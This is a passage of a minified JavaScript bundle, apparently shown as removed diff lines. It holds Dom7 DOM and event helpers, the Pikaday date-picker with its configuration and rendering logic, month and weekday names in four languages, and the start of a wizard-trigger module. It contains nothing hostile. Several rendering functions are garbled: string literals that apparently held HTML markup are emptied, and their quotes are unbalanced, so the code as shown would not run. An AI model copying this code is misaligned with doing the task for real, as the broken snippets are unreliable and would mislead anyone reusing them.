a]); - return n - } - var s = []; - n.elements.each(function (e, i) { - var a = void 0; - var o = void 0; - var l = void 0; - var d = void 0; - var f = void 0; - if (!i.dom7AnimateInstance) n.elements[e].dom7AnimateInstance = n; - s[e] = { - container: i - }; - (0, r.default)(t).forEach(function (n) { - a = u.window.getComputedStyle(i, null).getPropertyValue(n).replace(",", "."); - o = parseFloat(a); - l = a.replace(o, ""); - d = parseFloat(t[n]); - f = t[n] + l; - s[e][n] = { - initialFullValue: a, - initialValue: o, - unit: l, - finalValue: d, - finalFullValue: f, - currentValue: o - } - }) - }); - var o = null; - var l = void 0; - var d = 0; - var f = 0; - var c = void 0; - var h = false; - n.animating = true; - - function m() { - l = (new Date).getTime(); - var e = void 0; - var u = void 0; - if (!h) { - h = true; - if (a.begin) a.begin(i) - } - if (o === null) { - o = l - } - if (a.progress) { - a.progress(i, Math.max(Math.min((l - o) / a.duration, 1), 0), o + a.duration - l < 0 ? 0 : o + a.duration - l, o) - } - s.forEach(function (i) { - var h = i; - if (c || h.done) return; - (0, r.default)(t).forEach(function (i) { - if (c || h.done) return; - e = Math.max(Math.min((l - o) / a.duration, 1), 0); - u = n.easingProgress(a.easing, e); - var m = h[i], - p = m.initialValue, - v = m.finalValue, - _ = m.unit; - h[i].currentValue = p + u * (v - p); - var g = h[i].currentValue; - if (v > p && g >= v || v < p && g <= v) { - h.container.style[i] = v + _; - f += 1; - if (f === (0, r.default)(t).length) { - h.done = true; - d += 1 - } - if (d === s.length) { - c = true - } - } - if (c) { - n.done(a.complete); - return - } - h.container.style[i] = g + _ - }) - }); - if (c) return; - n.frameId = p(m) - } - n.frameId = p(m); - return n - } - }; - if (n.elements.length === 0) { - return i - } - var a = void 0; - for (var o = 0; o < n.elements.length; o += 1) { - if (n.elements[o].dom7AnimateInstance) { - a = n.elements[o].dom7AnimateInstance - } else n.elements[o].dom7AnimateInstance = n - } - if (!a) { - a = n - } - if (e === "stop") { - a.stop() - } else { - a.animate(n.props, n.params) - } - return i - } - - function xe() { - var e = this; - for (var t = 0; t < e.length; t += 1) { - if (e[t].dom7AnimateInstance) { - e[t].dom7AnimateInstance.stop() - } - } - } - var Se = "resize scroll".split(" "); - - function Ye(e) { - for (var t = arguments.length, i = Array(t > 1 ? t - 1 : 0), n = 1; n < t; n++) { - i[n - 1] = arguments[n] - } - if (typeof i[0] === "undefined") { - for (var r = 0; r < this.length; r += 1) { - if (Se.indexOf(e) < 0) { - if (e in this[r]) this[r][e](); - else { - c(this[r]).trigger(e) - } - } - } - return this - } - return this.on.apply(this, [e].concat(i)) - } - - function De() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["click"].concat(t)) - } - - function Ee() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["blur"].concat(t)) - } - - function Ce() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["focus"].concat(t)) - } - - function Pe() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["focusin"].concat(t)) - } - - function Ae() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["focusout"].concat(t)) - } - - function Oe() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["keyup"].concat(t)) - } - - function je() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["keydown"].concat(t)) - } - - function He() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["keypress"].concat(t)) - } - - function Ie() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["submit"].concat(t)) - } - - function Fe() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["change"].concat(t)) - } - - function ze() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["mousedown"].concat(t)) - } - - function Re() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["mousemove"].concat(t)) - } - - function Ne() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["mouseup"].concat(t)) - } - - function We() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["mouseenter"].concat(t)) - } - - function Be() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["mouseleave"].concat(t)) - } - - function qe() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["mouseout"].concat(t)) - } - - function $e() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["mouseover"].concat(t)) - } - - function Ve() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["touchstart"].concat(t)) - } - - function Ge() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["touchend"].concat(t)) - } - - function Ue() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["touchmove"].concat(t)) - } - - function Xe() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["resize"].concat(t)) - } - - function Je() { - for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { - t[i] = arguments[i] - } - return Ye.bind(this).apply(undefined, ["scroll"].concat(t)) - } - t.$ = c; - t.addClass = _; - t.removeClass = g; - t.hasClass = y; - t.toggleClass = b; - t.attr = w; - t.removeAttr = M; - t.prop = k; - t.data = L; - t.removeData = T; - t.dataset = x; - t.val = S; - t.transform = Y; - t.transition = D; - t.on = E; - t.off = C; - t.once = P; - t.trigger = A; - t.transitionEnd = O; - t.animationEnd = j; - t.width = H; - t.outerWidth = I; - t.height = F; - t.outerHeight = z; - t.offset = R; - t.hide = N; - t.show = W; - t.styles = B; - t.css = q; - t.toArray = $; - t.each = V; - t.forEach = G; - t.filter = U; - t.map = X; - t.html = J; - t.text = K; - t.is = Q; - t.indexOf = Z; - t.index = ee; - t.eq = te; - t.append = ie; - t.appendTo = ne; - t.prepend = re; - t.prependTo = ae; - t.insertBefore = se; - t.insertAfter = oe; - t.next = le; - t.nextAll = ue; - t.prev = de; - t.prevAll = fe; - t.siblings = ce; - t.parent = he; - t.parents = me; - t.closest = pe; - t.find = ve; - t.children = _e; - t.remove = ge; - t.detach = ye; - t.add = be; - t.empty = we; - t.scrollTo = Me; - t.scrollTop = ke; - t.scrollLeft = Le; - t.animate = Te; - t.stop = xe; - t.click = De; - t.blur = Ee; - t.focus = Ce; - t.focusin = Pe; - t.focusout = Ae; - t.keyup = Oe; - t.keydown = je; - t.keypress = He; - t.submit = Ie; - t.change = Fe; - t.mousedown = ze; - t.mousemove = Re; - t.mouseup = Ne; - t.mouseenter = We; - t.mouseleave = Be; - t.mouseout = qe; - t.mouseover = $e; - t.touchstart = Ve; - t.touchend = Ge; - t.touchmove = Ue; - t.resize = Xe; - t.scroll = Je - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(59); - var r = o(n); - var a = i(161); - var s = o(a); - - function o(e) { - return e && e.__esModule ? e : { - default: e - } - } - var l = function e(t) { - "use strict"; - var i = typeof t === "function", - n = !!window.addEventListener, - a = window.document, - s = window.setTimeout, - o = function e(t, i, r, a) { - if (n) { - t.addEventListener(i, r, !!a) - } else { - t.attachEvent("on" + i, r) - } - }, - l = function e(t, i, r, a) { - if (n) { - t.removeEventListener(i, r, !!a) - } else { - t.detachEvent("on" + i, r) - } - }, - u = function e(t) { - return t.trim ? t.trim() : t.replace(/^\s+|\s+$/g, "") - }, - d = function e(t, i) { - return (" " + t.className + " ").indexOf(" " + i + " ") !== -1 - }, - f = function e(t, i) { - if (!d(t, i)) { - t.className = t.className === "" ? i : t.className + " " + i - } - }, - c = function e(t, i) { - t.className = u((" " + t.className + " ").replace(" " + i + " ", " ")) - }, - h = function e(t) { - return /Array/.test(Object.prototype.toString.call(t)) - }, - m = function e(t) { - return /Date/.test(Object.prototype.toString.call(t)) && !isNaN(t.getTime()) - }, - p = function e(t) { - var i = t.getDay(); - return i === 0 || i === 6 - }, - v = function e(t) { - return t % 4 === 0 && t % 100 !== 0 || t % 400 === 0 - }, - _ = function e(t, i) { - return [31, v(t) ? 29 : 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][i] - }, - g = function e(t) { - if (m(t)) t.setHours(0, 0, 0, 0) - }, - y = function e(t, i) { - return t.getTime() === i.getTime() - }, - b = function e(t, i, n) { - var a, s; - for (a in i) { - s = t[a] !== undefined; - if (s && (0, r.default)(i[a]) === "object" && i[a] !== null && i[a].nodeName === undefined) { - if (m(i[a])) { - if (n) { - t[a] = new Date(i[a].getTime()) - } - } else if (h(i[a])) { - if (n) { - t[a] = i[a].slice(0) - } - } else { - t[a] = e({}, i[a], n) - } - } else if (n || !s) { - t[a] = i[a] - } - } - return t - }, - w = function e(t, i, n) { - var r; - if (a.createEvent) { - r = a.createEvent("HTMLEvents"); - r.initEvent(i, true, false); - r = b(r, n); - t.dispatchEvent(r) - } else if (a.createEventObject) { - r = a.createEventObject(); - r = b(r, n); - t.fireEvent("on" + i, r) - } - }, - M = function e(t) { - if (t.month < 0) { - t.year -= Math.ceil(Math.abs(t.month) / 12); - t.month += 12 - } - if (t.month > 11) { - t.year += Math.floor(Math.abs(t.month) / 12); - t.month -= 12 - } - return t - }, - k = { - field: null, - bound: undefined, - ariaLabel: "Use the arrow keys to pick a date", - position: "bottom left", - reposition: true, - format: "YYYY-MM-DD", - toString: null, - parse: null, - defaultDate: null, - setDefaultDate: false, - firstDay: 0, - formatStrict: false, - minDate: null, - maxDate: null, - yearRange: 10, - showWeekNumber: false, - pickWholeWeek: false, - minYear: 0, - maxYear: 9999, - minMonth: undefined, - maxMonth: undefined, - startRange: null, - endRange: null, - isRTL: false, - yearSuffix: "", - showMonthAfterYear: false, - showDaysInNextAndPreviousMonths: false, - enableSelectionDaysInNextAndPreviousMonths: false, - numberOfMonths: 1, - mainCalendar: "left", - container: undefined, - blurFieldOnSelect: true, - i18n: { - previousMonth: "Previous Month", - nextMonth: "Next Month", - months: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], - weekdays: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], - weekdaysShort: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"] - }, - theme: null, - events: [], - onSelect: null, - onOpen: null, - onClose: null, - onDraw: null, - keyboardInput: true - }, - L = function e(t, i, n) { - i += t.firstDay; - while (i >= 7) { - i -= 7 - } - return n ? t.i18n.weekdaysShort[i] : t.i18n.weekdays[i] - }, - T = function e(t) { - var i = []; - var n = "false"; - if (t.isEmpty) { - if (t.showDaysInNextAndPreviousMonths) { - i.push("is-outside-current-month"); - if (!t.enableSelectionDaysInNextAndPreviousMonths) { - i.push("is-selection-disabled") - } - } else { - return '' - } - } - if (t.isDisabled) { - i.push("is-disabled") - } - if (t.isToday) { - i.push("is-today") - } - if (t.isSelected) { - i.push("is-selected"); - n = "true" - } - if (t.hasEvent) { - i.push("has-event") - } - if (t.isInRange) { - i.push("is-inrange") - } - if (t.isStartRange) { - i.push("is-startrange") - } - if (t.isEndRange) { - i.push("is-endrange") - } - return '' + '" + "" - }, - x = function e(t, i, n) { - var r = new Date(n, 0, 1), - a = Math.ceil(((new Date(n, i, t) - r) / 864e5 + r.getDay() + 1) / 7); - return '' + a + "" - }, - S = function e(t, i, n, r) { - return '' + (i ? t.reverse() : t).join("") + "" - }, - Y = function e(t) { - return "" + t.join("") + "" - }, - D = function e(t) { - var i, n = []; - if (t.showWeekNumber) { - n.push("") - } - for (i = 0; i < 7; i++) { - n.push('' + L(t, i, true) + "") - } - return "" + (t.isRTL ? n.reverse() : n).join("") + "" - }, - E = function e(t, i, n, r, a, s) { - var o, l, u, d = t._o, - f = n === d.minYear, - c = n === d.maxYear, - m = '
', - p, v, _ = true, - g = true; - for (u = [], o = 0; o < 12; o++) { - u.push('") - } - p = '
' + d.i18n.months[r]; - p += '"; - p += "
"; - if (h(d.yearRange)) { - o = d.yearRange[0]; - l = d.yearRange[1] + 1 - } else { - o = n - d.yearRange; - l = 1 + n + d.yearRange - } - for (u = []; o < l && o <= d.maxYear; o++) { - if (o >= d.minYear) { - u.push('") - } - } - v = '
' + n + d.yearSuffix; - v += '
"; - v += "
"; - if (d.showMonthAfterYear) { - m += v + p - } else { - m += p + v - } - if (f && (r === 0 || d.minMonth >= r)) { - _ = false - } - if (c && (r === 11 || d.maxMonth <= r)) { - g = false - } - if (i === 0) { - m += '" - } - if (i === t._o.numberOfMonths - 1) { - m += '" - } - return m += "" - }, - C = function e(t, i, n) { - return '' + D(t) + Y(i) + "
" - }, - P = function e(r) { - var l = this, - u = l.config(r); - l.isDragging = false; - l._onTouchStart = function () { - l.isDragging = false - }; - l._onTouchMove = function () { - l.isDragging = true - }; - l._onMouseDown = function (e) { - if (!l._v) { - return - } - e = e || window.event; - var t = e.target || e.srcElement; - if (!t) { - return - } - if (l.isDragging) { - return - } - if (!d(t, "is-disabled")) { - if (d(t, "pika-button") && !d(t, "is-empty") && !d(t.parentNode, "is-disabled")) { - l.setDate(new Date(t.getAttribute("data-pika-year"), t.getAttribute("data-pika-month"), t.getAttribute("data-pika-day"))); - if (u.bound) { - s(function () { - l.hide(); - if (u.blurFieldOnSelect && u.field) { - u.field.blur() - } - }, 100) - } - } else if (d(t, "pika-prev")) { - l.prevMonth() - } else if (d(t, "pika-next")) { - l.nextMonth() - } - } - if (!d(t, "pika-select")) { - if (e.preventDefault) { - e.preventDefault() - } else { - e.returnValue = false; - return false - } - } else { - l._c = true - } - }; - l._onChange = function (e) { - e = e || window.event; - var t = e.target || e.srcElement; - if (!t) { - return - } - if (d(t, "pika-select-month")) { - l.selectChange = true; - l.gotoMonth(t.value) - } else if (d(t, "pika-select-year")) { - l.selectChange = true; - l.gotoYear(t.value) - } - s(function () { - l.selectChange = false - }, 500) - }; - l._onKeyChange = function (e) { - e = e || window.event; - if (l.isVisible()) { - switch (e.keyCode) { - case 13: - case 27: - if (u.field) { - u.field.blur() - } - break; - case 37: - e.preventDefault(); - l.adjustDate("subtract", 1); - break; - case 38: - l.adjustDate("subtract", 7); - break; - case 39: - l.adjustDate("add", 1); - break; - case 40: - l.adjustDate("add", 7); - break - } - } - }; - l._onInputChange = function (e) { - var n; - if (e.firedBy === l) { - return - } - if (u.parse) { - n = u.parse(u.field.value, u.format) - } else if (i) { - n = t(u.field.value, u.format, u.formatStrict); - n = n && n.isValid() ? n.toDate() : null - } else { - n = new Date(Date.parse(u.field.value)) - } - if (m(n)) { - l.setDate(n) - } - if (!l._v) { - l.show() - } - }; - l._onInputFocus = function () { - l.show() - }; - l._onInputClick = function () { - l.show() - }; - l._onInputBlur = function () { - var e = a.activeElement; - do { - if (d(e, "pika-single")) { - return - } - } while (e = e.parentNode); - if (!l._c) { - l._b = s(function () { - l.hide() - }, 50) - } - l._c = false - }; - l._onClick = function (e) { - e = e || window.event; - var t = e.target || e.srcElement, - i = t; - if (!t) { - return - } - if (!n && d(t, "pika-select")) { - if (!t.onchange) { - t.setAttribute("onchange", "return;"); - o(t, "change", l._onChange) - } - } - do { - if (d(i, "pika-single") || i === u.trigger) { - return - } - } while (i = i.parentNode); - if (l._v && t !== u.trigger && i !== u.trigger) { - l.hide() - } - }; - l.el = a.createElement("div"); - l.el.className = "pika-single" + (u.isRTL ? " is-rtl" : "") + (u.theme ? " " + u.theme : ""); - o(l.el, "mousedown", l._onMouseDown, true); - o(l.el, "touchend", l._onMouseDown, true); - o(l.el, "touchstart", l._onTouchStart, true); - o(l.el, "touchmove", l._onTouchMove, true); - o(l.el, "change", l._onChange); - if (u.keyboardInput) { - o(a, "keydown", l._onKeyChange) - } - if (u.field) { - if (u.container) { - u.container.appendChild(l.el) - } else if (u.bound) { - a.body.appendChild(l.el) - } else { - u.field.parentNode.insertBefore(l.el, u.field.nextSibling) - } - o(u.field, "change", l._onInputChange); - if (!u.defaultDate) { - if (i && u.field.value) { - u.defaultDate = t(u.field.value, u.format).toDate() - } else { - u.defaultDate = new Date(Date.parse(u.field.value)) - } - u.setDefaultDate = true - } - } - var f = u.defaultDate; - if (m(f)) { - if (u.setDefaultDate) { - l.setDate(f, true) - } else { - l.gotoDate(f) - } - } else { - l.gotoDate(new Date) - } - if (u.bound) { - this.hide(); - l.el.className += " is-bound"; - o(u.trigger, "click", l._onInputClick); - o(u.trigger, "blur", l._onInputBlur) - } else { - this.show() - } - }; - P.prototype = { - config: function e(t) { - if (!this._o) { - this._o = b({}, k, true) - } - var i = b(this._o, t, true); - i.isRTL = !!i.isRTL; - i.field = i.field && i.field.nodeName ? i.field : null; - i.theme = typeof i.theme === "string" && i.theme ? i.theme : null; - i.bound = !!(i.bound !== undefined ? i.field && i.bound : i.field); - i.trigger = i.trigger && i.trigger.nodeName ? i.trigger : i.field; - i.disableWeekends = !!i.disableWeekends; - i.disableDayFn = typeof i.disableDayFn === "function" ? i.disableDayFn : null; - var n = parseInt(i.numberOfMonths, 10) || 1; - i.numberOfMonths = n > 4 ? 4 : n; - if (!m(i.minDate)) { - i.minDate = false - } - if (!m(i.maxDate)) { - i.maxDate = false - } - if (i.minDate && i.maxDate && i.maxDate < i.minDate) { - i.maxDate = i.minDate = false - } - if (i.minDate) { - this.setMinDate(i.minDate) - } - if (i.maxDate) { - this.setMaxDate(i.maxDate) - } - if (h(i.yearRange)) { - var r = (new Date).getFullYear() - 10; - i.yearRange[0] = parseInt(i.yearRange[0], 10) || r; - i.yearRange[1] = parseInt(i.yearRange[1], 10) || r - } else { - i.yearRange = Math.abs(parseInt(i.yearRange, 10)) || k.yearRange; - if (i.yearRange > 100) { - i.yearRange = 100 - } - } - return i - }, - toString: function e(n) { - n = n || this._o.format; - if (!m(this._d)) { - return "" - } - if (this._o.toString) { - return this._o.toString(this._d, n) - } - if (i) { - return t(this._d).format(n) - } - return this._d.toDateString() - }, - getMoment: function e() { - return i ? t(this._d) : null - }, - setMoment: function e(n, r) { - if (i && t.isMoment(n)) { - this.setDate(n.toDate(), r) - } - }, - getDate: function e() { - return m(this._d) ? new Date(this._d.getTime()) : null - }, - setDate: function e(t, i) { - if (!t) { - this._d = null; - if (this._o.field) { - this._o.field.value = ""; - w(this._o.field, "change", { - firedBy: this - }) - } - return this.draw() - } - if (typeof t === "string") { - t = new Date(Date.parse(t)) - } - if (!m(t)) { - return - } - var n = this._o.minDate, - r = this._o.maxDate; - if (m(n) && t < n) { - t = n - } else if (m(r) && t > r) { - t = r - } - this._d = new Date(t.getTime()); - g(this._d); - this.gotoDate(this._d); - if (this._o.field) { - this._o.field.value = this.toString(); - w(this._o.field, "change", { - firedBy: this - }) - } - if (!i && typeof this._o.onSelect === "function") { - this._o.onSelect.call(this, this.getDate()) - } - }, - gotoDate: function e(t) { - var i = true; - if (!m(t)) { - return - } - if (this.calendars) { - var n = new Date(this.calendars[0].year, this.calendars[0].month, 1), - r = new Date(this.calendars[this.calendars.length - 1].year, this.calendars[this.calendars.length - 1].month, 1), - a = t.getTime(); - r.setMonth(r.getMonth() + 1); - r.setDate(r.getDate() - 1); - i = a < n.getTime() || r.getTime() < a - } - if (i) { - this.calendars = [{ - month: t.getMonth(), - year: t.getFullYear() - }]; - if (this._o.mainCalendar === "right") { - this.calendars[0].month += 1 - this._o.numberOfMonths - } - } - this.adjustCalendars() - }, - adjustDate: function e(t, i) { - var n = this.getDate() || new Date; - var r = parseInt(i) * 24 * 60 * 60 * 1e3; - var a; - if (t === "add") { - a = new Date(n.valueOf() + r) - } else if (t === "subtract") { - a = new Date(n.valueOf() - r) - } - this.setDate(a) - }, - adjustCalendars: function e() { - this.calendars[0] = M(this.calendars[0]); - for (var t = 1; t < this._o.numberOfMonths; t++) { - this.calendars[t] = M({ - month: this.calendars[0].month + t, - year: this.calendars[0].year - }) - } - this.draw() - }, - gotoToday: function e() { - this.gotoDate(new Date) - }, - gotoMonth: function e(t) { - if (!isNaN(t)) { - this.calendars[0].month = parseInt(t, 10); - this.adjustCalendars() - } - }, - nextMonth: function e() { - this.calendars[0].month++; - this.adjustCalendars() - }, - prevMonth: function e() { - this.calendars[0].month--; - this.adjustCalendars() - }, - gotoYear: function e(t) { - if (!isNaN(t)) { - this.calendars[0].year = parseInt(t, 10); - this.adjustCalendars() - } - }, - setMinDate: function e(t) { - if (t instanceof Date) { - g(t); - this._o.minDate = t; - this._o.minYear = t.getFullYear(); - this._o.minMonth = t.getMonth() - } else { - this._o.minDate = k.minDate; - this._o.minYear = k.minYear; - this._o.minMonth = k.minMonth; - this._o.startRange = k.startRange - } - this.draw() - }, - setMaxDate: function e(t) { - if (t instanceof Date) { - g(t); - this._o.maxDate = t; - this._o.maxYear = t.getFullYear(); - this._o.maxMonth = t.getMonth() - } else { - this._o.maxDate = k.maxDate; - this._o.maxYear = k.maxYear; - this._o.maxMonth = k.maxMonth; - this._o.endRange = k.endRange - } - this.draw() - }, - setStartRange: function e(t) { - this._o.startRange = t - }, - setEndRange: function e(t) { - this._o.endRange = t - }, - draw: function e(t) { - if (!this._v && !t) { - return - } - var i = this._o, - n = i.minYear, - r = i.maxYear, - a = i.minMonth, - s = i.maxMonth, - o = "", - l; - if (this._y <= n) { - this._y = n; - if (!isNaN(a) && this._m < a) { - this._m = a - } - } - if (this._y >= r) { - this._y = r; - if (!isNaN(s) && this._m > s) { - this._m = s - } - } - l = "pika-title-" + Math.random().toString(36).replace(/[^a-z]+/g, "").substr(0, 2); - for (var u = 0; u < i.numberOfMonths; u++) { - o += '
' + E(this, u, this.calendars[u].year, this.calendars[u].month, this.calendars[0].year, l) + this.render(this.calendars[u].year, this.calendars[u].month, l) + "
" - } - this.el.innerHTML = o; - if (typeof this._o.onDraw === "function") { - this._o.onDraw(this) - } - if (i.bound && i.ariaLabel && String(i.ariaLabel).length > 0) { - i.field.setAttribute("aria-label", i.ariaLabel) - } - }, - adjustPosition: function e() { - var t, i, n, r, s, o, l, u, d, h, m, p; - if (this._o.container) return; - this.el.style.position = "absolute"; - t = this._o.trigger; - i = t; - n = this.el.offsetWidth; - r = this.el.offsetHeight; - s = window.innerWidth || a.documentElement.clientWidth; - o = window.innerHeight || a.documentElement.clientHeight; - l = window.pageYOffset || a.body.scrollTop || a.documentElement.scrollTop; - m = true; - p = true; - if (typeof t.getBoundingClientRect === "function") { - h = t.getBoundingClientRect(); - u = h.left + window.pageXOffset; - d = h.bottom + window.pageYOffset - } else { - u = i.offsetLeft; - d = i.offsetTop + i.offsetHeight; - while (i = i.offsetParent) { - u += i.offsetLeft; - d += i.offsetTop - } - } - if (this._o.reposition && u + n > s || this._o.position.indexOf("right") > -1 && u - n + t.offsetWidth > 0) { - u = u - n + t.offsetWidth; - m = false - } - if (this._o.reposition && d + r > o + l || this._o.position.indexOf("top") > -1 && d - r - t.offsetHeight > 0) { - d = d - r - t.offsetHeight; - p = false - } - this.el.style.left = u + "px"; - this.el.style.top = d + "px"; - f(this.el, m ? "left-aligned" : "right-aligned"); - f(this.el, p ? "bottom-aligned" : "top-aligned"); - c(this.el, !m ? "left-aligned" : "right-aligned"); - c(this.el, !p ? "bottom-aligned" : "top-aligned") - }, - render: function e(t, i, n) { - var r = this._o, - a = new Date, - s = _(t, i), - o = new Date(t, i, 1).getDay(), - l = [], - u = []; - g(a); - if (r.firstDay > 0) { - o -= r.firstDay; - if (o < 0) { - o += 7 - } - } - var d = i === 0 ? 11 : i - 1, - f = i === 11 ? 0 : i + 1, - c = i === 0 ? t - 1 : t, - h = i === 11 ? t + 1 : t, - v = _(c, d); - var b = s + o, - w = b; - while (w > 7) { - w -= 7 - } - b += 7 - w; - var M = false; - for (var k = 0, L = 0; k < b; k++) { - var Y = new Date(t, i, 1 + (k - o)), - D = m(this._d) ? y(Y, this._d) : false, - E = y(Y, a), - P = r.events.indexOf(Y.toDateString()) !== -1 ? true : false, - A = k < o || k >= s + o, - O = 1 + (k - o), - j = i, - H = t, - I = r.startRange && y(r.startRange, Y), - F = r.endRange && y(r.endRange, Y), - z = r.startRange && r.endRange && r.startRange < Y && Y < r.endRange, - R = r.minDate && Y < r.minDate || r.maxDate && Y > r.maxDate || r.disableWeekends && p(Y) || r.disableDayFn && r.disableDayFn(Y); - if (A) { - if (k < o) { - O = v + O; - j = d; - H = c - } else { - O = O - s; - j = f; - H = h - } - } - var N = { - day: O, - month: j, - year: H, - hasEvent: P, - isSelected: D, - isToday: E, - isDisabled: R, - isEmpty: A, - isStartRange: I, - isEndRange: F, - isInRange: z, - showDaysInNextAndPreviousMonths: r.showDaysInNextAndPreviousMonths, - enableSelectionDaysInNextAndPreviousMonths: r.enableSelectionDaysInNextAndPreviousMonths - }; - if (r.pickWholeWeek && D) { - M = true - } - u.push(T(N)); - if (++L === 7) { - if (r.showWeekNumber) { - u.unshift(x(k - o, i, t)) - } - l.push(S(u, r.isRTL, r.pickWholeWeek, M)); - u = []; - L = 0; - M = false - } - } - return C(r, l, n) - }, - isVisible: function e() { - return this._v - }, - show: function e() { - if (!this.isVisible()) { - this._v = true; - this.draw(); - c(this.el, "is-hidden"); - if (this._o.bound) { - o(a, "click", this._onClick); - this.adjustPosition() - } - if (typeof this._o.onOpen === "function") { - this._o.onOpen.call(this) - } - } - }, - hide: function e() { - var t = this._v; - if (t !== false) { - if (this._o.bound) { - l(a, "click", this._onClick) - } - this.el.style.position = "static"; - this.el.style.left = "auto"; - this.el.style.top = "auto"; - f(this.el, "is-hidden"); - this._v = false; - if (t !== undefined && typeof this._o.onClose === "function") { - this._o.onClose.call(this) - } - } - }, - destroy: function e() { - var t = this._o; - this.hide(); - l(this.el, "mousedown", this._onMouseDown, true); - l(this.el, "touchend", this._onMouseDown, true); - l(this.el, "touchstart", this._onTouchStart, true); - l(this.el, "touchmove", this._onTouchMove, true); - l(this.el, "change", this._onChange); - if (t.keyboardInput) { - l(a, "keydown", this._onKeyChange) - } - if (t.field) { - l(t.field, "change", this._onInputChange); - if (t.bound) { - l(t.trigger, "click", this._onInputClick); - l(t.trigger, "focus", this._onInputFocus); - l(t.trigger, "blur", this._onInputBlur) - } - } - if (this.el.parentNode) { - this.el.parentNode.removeChild(this.el) - } - } - }; - return P - }; - t.default = l(s.default) - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = { - previousMonth: '', - nextMonth: '', - months: ["january", "february", "march", "april", "may", "june", "july", "august", "september", "october", "november", "december"], - weekdays: ["sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"], - weekdaysShort: ["su", "mo", "tu", "we", "th", "fr", "sa"] - }; - var r = { - previousMonth: '', - nextMonth: '', - months: ["janvier", "février", "mars", "avril", "may", "juin", "juillet", "august", "septembre", "octobre", "novembre", "décembre"], - weekdays: ["dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi"], - weekdaysShort: ["di", "lu", "ma", "me", "je", "ve", "sa"] - }; - var a = { - previousMonth: '', - nextMonth: '', - months: ["januari", "februari", "maart", "april", "mei", "juni", "juli", "augustus", "september", "oktober", "november", "december"], - weekdays: ["zondag", "maandag", "dinsdag", "woensdag", "donderdag", "vrijdag", "zaterdag"], - weekdaysShort: ["zo", "ma", "di", "wo", "do", "vr", "zat"] - }; - var s = { - previousMonth: '', - nextMonth: '', - months: ["januar", "februar", "märz", "april", "mai", "juni", "juli", "august", "september", "oktober", "november", "dezember"], - weekdays: ["sonntag", "montag", "dienstag", "mittwoch", "donnerstag", "freitag", "samstag"], - weekdaysShort: ["so", "mo", "di", "mi", "do", "fr", "sa"] - }; - t.en = n; - t.fr = r; - t.nl = a; - t.de = s - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = t.WizardTrigger = undefined; - var n = i(164); - var r = o(n); - var a = i(442); - var s = o(a); - - function o(e) { - return e && e.__esModule ? e : { - default: e - } - } - t.WizardTrigger = s.default; - t.default = r.default - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = m(n); - var a = i(1); - var s = m(a); - var o = i(4); - var l = m(o); - var u = i(5); - var d = m(u); - var f = i(164); - var c = m(f); - var h = i(2); - - function m(e) { - return e && e.__esModule ? e : { - default: e - } - } - var p = function (e) { - (0, d.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e)); - n.el = e; - n.el.addEventListener("click", function (t) { - t.preventDefault(); - var i = document.getElementById(e.getAttribute("data-content")); - if 